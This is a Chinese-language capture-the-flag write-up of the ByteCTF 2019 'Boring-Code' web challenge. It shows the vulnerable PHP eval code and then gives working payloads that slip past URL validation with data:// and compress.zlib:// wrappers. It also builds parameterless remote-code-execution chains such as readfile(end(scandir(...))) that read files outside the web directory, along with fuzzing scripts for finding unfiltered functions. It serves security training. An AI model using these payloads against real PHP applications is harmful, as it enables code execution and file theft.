[原題復現]ByteCTF 2019 –WEB- Boring-Code[無參數rce、繞過filter_var(),等]


 簡介

 原題復現:

 考察知識點:無參數命令執行、繞過filter_var(), preg_match()

 線上平台:https://buuoj.cn(北京聯合大學公開的CTF平台) 榆林學院內可使用信安協會內部的CTF訓練平台找到此題

 環境復現

目錄

www/flag  flag文件
www/code/code.php

代碼

 1 <?php
 2 function is_valid_url($url) {
 3     //FILTER_VALIDATE_URL 過濾器把值作為 URL 進行驗證。
 4     if (filter_var($url, FILTER_VALIDATE_URL)) {
 5         if (preg_match('/data:\/\//i', $url)) {
 6             return false;
 7         }
 8         return true;
 9     }
10     return false;
11 }
12 
13 
14 if (isset($_POST['url'])){
15     $url = $_POST['url'];
16     if (is_valid_url($url)) {
17         $r = parse_url($url);
18         var_dump($r);
19         if (preg_match('/baidu\.com$/', $r['host'])) {
20             $code = file_get_contents($url);
21             var_dump($code);
22             if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
23                 if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
24                     echo 'bye~';
25                 } else {
26                     eval($code);
27                 }
28             }
29         } else {
30             echo "error: host not allowed";
31         }
32     } else {
33         echo "error: invalid url";
34     }
35 }else{
36     highlight_file(__FILE__);
37 }
View Code

 審計分析

繞過URL過濾??
通過post傳入url值后顯示進行is_valid_url這個函數的驗證  函數使用了fileter_var()里面的FILTER_VALIDATE_URL這個過濾器來過濾url  為真后 又有一個preg_match正則的判斷 不能含有data:\\ 這個東西
到了第18行還有個過濾 將解析后的url的host部分進行正則匹配必須要baidu.com為結尾 才能匹配成功 我們把這里作為第一層先繞過
 
下來就到這一塊核心的地方了 考的是無參數RCE
25行的限制只能是a(b())的形式,同時稚嫩共包含字母
26行則限制了很多函數。。那些沒被限制我們可以fuzz下 我們把這里作為第二層繞過

 繞過第一層 

1.額外知識增加(如何繞過filter_var和parse_url)

data://偽協議的利用
如果沒有上面第5行的過濾data我們看如何繞過?
可以使用data://偽協議形式繞過
data://text/plain;base64,xxxx
parser_url會將text部分作為host 所以再進行驗證的時候就能繞過了  並且PHP對MIME不敏感,我們可以將一些東西注入到MIME中
data://baidu.com/plain;base64,xxxx
將代碼中的data://正則驗證注釋可測試
payload:
POST:url=data://baidu.com/plain,echo('1111')
//string(12) "echo('1111')"
0://hua.com;baidu.com //可以繞過FILTER_VALIDATE_URL過濾器
參考學習來源
 
回到正題有data驗證怎么辦呢這時候上面的方法根本沒辦法用。

方法一:使用compress.zlib方式

payload
url=compress.zlib://data:@baidu.com/baidu.com?,echo('1111')

方法二:購買一個xxxbaidu.com的域名(未測試)

購買之后綁定到服務器上 再上傳文件下來步驟跟方法三一樣

方法三:百度網盤鏈接

(在這個程序過濾中不行!因為百度雲默認有空格 只能自己搭建服務了)
上傳1.php  找到下載鏈接打開1.php編輯從響應里面找。
 
環境測試
搭建測試環境要php.ini修改3個地方 我使用的kali linux2020不用修改默認   本機win10可能需要修改
extension=php_openssl.dll  開啟PHPssl擴展
allow_url_include = On  允許引入URL文件
allow_url_fopen = On    允許打開url文件
在linux服務環境下測試成功
windows環境搭建的服務因為post長度限制可能 發現打過去的post會被截斷部分導致失敗

方法四:使用ftp協議(未測試)

ftp://ip:port,baidu.com:80/filename.txt

方法五:百度的一個任意跳轉漏洞(未測試)

post.baidu.com

 第二層正則繞過

第二層考點是無參數rce

獲取所有的php函數並保存文件為function.txt
<?php
$a = get_defined_functions()['internal'];
$file = fopen("function.txt","w+");
foreach ($a as $key ) {
echo fputs($file,$key."\r\n");
}
fclose($file);
?>
python 這樣就能得到那些php沒被過濾掉
import re
f = open('function.txt','r')
for i in f:
    function = re.findall(r'/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log',i)
    if function == [] and not '_' in i:
        print(i) 
根據題目得到flag再上層目錄下 所有我們要構造讀取上層目錄下的文件
 

方法一 phpversion()

    sqrt() : 返回一個數字的平方根
    tan() : 返回一個數字的正切
    cosh() : 返回一個數字的雙曲余弦
    sinh() : 返回一個數字的雙曲正弦
    ceil() : 返回不小於一個數字的下一個整數 , 也就是向上取整
一個點的ascii值 看wp大佬用數學函數寫了個腳本實現計算  
<?php
$list = array("ceil","sinh","cosh","tan","floor","sqrt","cos","sin");
foreach($list as $a){
foreach($list as $b){
foreach($list as $c){
foreach($list as $d){
foreach($list as $e){
foreach($list as $f){
foreach($list as $g){
foreach($list as $h){
if($a($b($c($d($e($f($g($h(phpversion())))))))) == 46)
echo "$a+$b+$c+$d+$e+$f+$g+$h"."\n";    
}}}}}}}}
?>
這樣得到的部分payload解決了我們參數“.”的傳遞

 

 最終payload:

url=compress.zlib://data:@baidu.com/baidu.com?,echo(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))));

 參考學習:http://www.guildhab.top/?p=1077

     https://xz.aliyun.com/t/6737

 

 方法二 localtime()+localeconv()

分析一個師傅的payload
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
 
scandir()   列出目錄中的文件和目錄。
end()       將內部指針指向數組中的最后一個元素,並輸出。
readfile()  輸出一個文件
current()    返回數組當前單元
也就是說要這樣構造 但是這個題過濾了參數 怎么辦?
readfile(end(scandir('.')));
 
這個函數返回的第一個元素就是. 我們可以用current來獲取數組中的當前單元 但是這個被過濾了怎么辦?
localeconv()   函數返回一包含本地數字及貨幣格式信息的數組。
 
我們可以使用current()函數的別名pos()函數 這樣返回的就是 “.”
pos(localeconv())
這個pyaload如果flag再當前目錄可用 但是原題flag不再當前目錄怎么辦?
readfile(end(scandir(pos(localeconv()))));
讀取當前目錄下的最后一個文件輸出到頁面上
 
因為flag再上層目錄 我們還需要chrdir() next來重新定義一下php當前目錄,再使用readfile來讀取文件
chdir()函數改變當前的目錄
next()函數將內部指針指向數組中的下一個元素,並輸出。 這里可以獲取到scandir()返回的".." 
返回上一層payload
chdir(next(scandir(pos(localeconv()))));
返回上一層之后  我們想讀文件 但是改變目錄執行成功只返回一個1 所以我們需要再構造一個"." 來用上述方法來獲取flag 那怎么構造?可以用localtime()函數 來返回46 再用chr轉就成了"."
localtime(timestamp,is_assoc);取得本地時間
timestamp 可選,規定Unix時間戳 如未規定則默認time()
is_assoc 可選 規定返回關聯數組還是索引數組 如果FALSE則返回索引 默認False
payload 每46秒的時候就會返回"." 
chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))
再和讀取文件方式組合一下的最終payload
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));

 參考學習:https://xz.aliyun.com/t/6316

方法三 if()

使用chdir()返回0和1 來用if判斷並執行后面的語句進行文件讀取
if(chdir(next(scandir(pos(localeconv())))))readfile(end(scandir(pos(localeconv()))));

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM